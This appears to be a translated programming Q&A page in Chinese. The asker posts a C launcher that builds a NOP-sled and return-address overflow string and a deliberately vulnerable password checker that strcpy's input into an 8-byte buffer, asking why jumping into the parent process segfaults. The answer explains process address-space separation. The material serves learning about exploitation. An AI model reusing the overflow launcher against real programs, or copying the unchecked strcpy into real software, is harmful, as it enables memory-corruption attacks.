我正在通过C库函数B
从另一个程序A
的主函数执行程序system()
。但是当我将A
的地址作为参数传递给B
以通过缓冲区溢出替换进程B
中的返回地址时,它显示了分段错误。
我知道每个进程都无法访问另一个进程的地址空间。但有什么办法可以缓冲溢出子进程,以便执行返回到父进程?我正在使用x64位机器和gcc与-m32
,-fno-stack-protector
选项。
这是我执行另一个程序B的程序A:
int main(int argc, char *argv[]) {
unsigned int i, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./child \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // set return address
for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // add NOP instructions
strcat(command, "\'");
system(command); // run another program
free(command);
}
这是另一个易受缓冲区溢出影响的程序B
int testAuthenetication(char *password){
int value = 0;
char buffer[8];
strcpy(buffer, password);
if(strcmp(buffer, "abcd") == 0){
value = 1;
}
if(strcmp(buffer, "abcdef") == 0){
value = 1;
}
return value;
}
int main(int argc, char *argv[]){
if(argc < 2){
printf("Enter the password \n");
return 0;
}
if(testAuthenetication(argv[1])){
printf("Access Granted \n");
}
else{
printf("Access denied \n");
}
return 0;
}
答案 0 :(得分:1)
“以便执行返回到父进程”:我不知道这是怎么回事。父进程的指令位于另一个内存空间(内核通过CR3选择的不同页表),因此如果您尝试从子进程跳转到父进程的地址,那么将会有垃圾/无效页面。
我建议您更清楚地说明上下文/结束目标:您是否尝试从溢出中执行任意代码执行?而B是易受攻击的程序,而A是漏洞利用代码?
如果是这种情况,请尝试将任意代码写入子进程的内存的可执行部分,然后使用溢出来跳转到子进程本身。我不确定这是否有效。
这个X的Y在How are buffer overflows used to exploit computers?处不太准确地被问到(但目前的答案并不是最小的例子)。